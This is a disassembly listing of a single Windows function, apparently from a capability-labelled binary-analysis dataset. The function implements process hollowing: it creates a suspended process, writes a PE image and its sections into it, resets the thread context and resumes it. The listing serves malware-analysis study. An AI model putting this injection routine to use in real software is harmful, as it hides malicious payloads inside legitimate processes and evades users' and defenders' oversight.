Function at 0x4192a8
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov ebx, ecx
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
call fcn.00405f54
xor eax, eax
push ebp
push 0x41954b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x41955c
push 0x419588
call sub.kernel32.dll_LoadLibraryW
push eax
call fcn.00409408
mov esi, eax
lea edx, [ebp - 8]
xor eax, eax
call fcn.0040422c
lea eax, [ebp - 0x38]
xor ecx, ecx
mov edx, 0x10
call fcn.00404370
lea eax, [ebp - 0x7c]
xor ecx, ecx
mov edx, 0x44
call fcn.00404370
mov dword [ebp - 0x7c], 0x44
mov dword [ebp - 0x50], 1
test bl, bl
je 0x419330
mov word [ebp - 0x4c], 1
jmp 0x419336
mov word [ebp - 0x4c], 0
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00406564
push eax
mov eax, dword [ebp - 8]
call fcn.00406564
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x419530
mov byte [ebp - 0x21], 1
mov eax, dword [ebp + 8]
push esi
mov edi, eax
lea esi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
xor eax, eax
push ebp
push 0x419529
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x348], 0x10002
lea eax, [ebp - 0x348]
push eax
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x4194ff
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2a4]
add eax, 8
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x4194ff
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x38]
push eax
call esi
test eax, eax
jl 0x4194ff
cmp dword [ebp - 0xc], 0
je 0x4194ff
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
push 4
push 0x3000
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4194ff
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x54]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4194ff
mov eax, dword [ebp - 0x20]
call fcn.00419290
mov esi, eax
mov eax, dword [ebp - 0x20]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jb 0x4194b6
inc eax
mov dword [ebp - 0x28], eax
xor ebx, ebx
lea eax, [ebp - 0x18]
push eax
lea edi, [ebx + ebx*4]
mov eax, dword [esi + edi*8 + 0x10]
push eax
mov eax, dword [esi + edi*8 + 0x14]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [esi + edi*8 + 0xc]
add eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4194b0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [esi + edi*8 + 0x24]
call fcn.0041929c
push eax
mov eax, dword [esi + edi*8 + 8]
push eax
mov eax, dword [esi + edi*8 + 0xc]
add eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_VirtualProtectEx
inc ebx
dec dword [ebp - 0x28]
jne 0x419463
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2a4]
add eax, 8
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4194ff
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x298], eax
lea eax, [ebp - 0x348]
push eax
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_SetThreadContext
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x21], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419530
cmp byte [ebp - 0x21], 0
jne 0x41951f
push 0
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_TerminateProcess
jmp 0x419528
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_ResumeThread
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419552
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405ed0
ret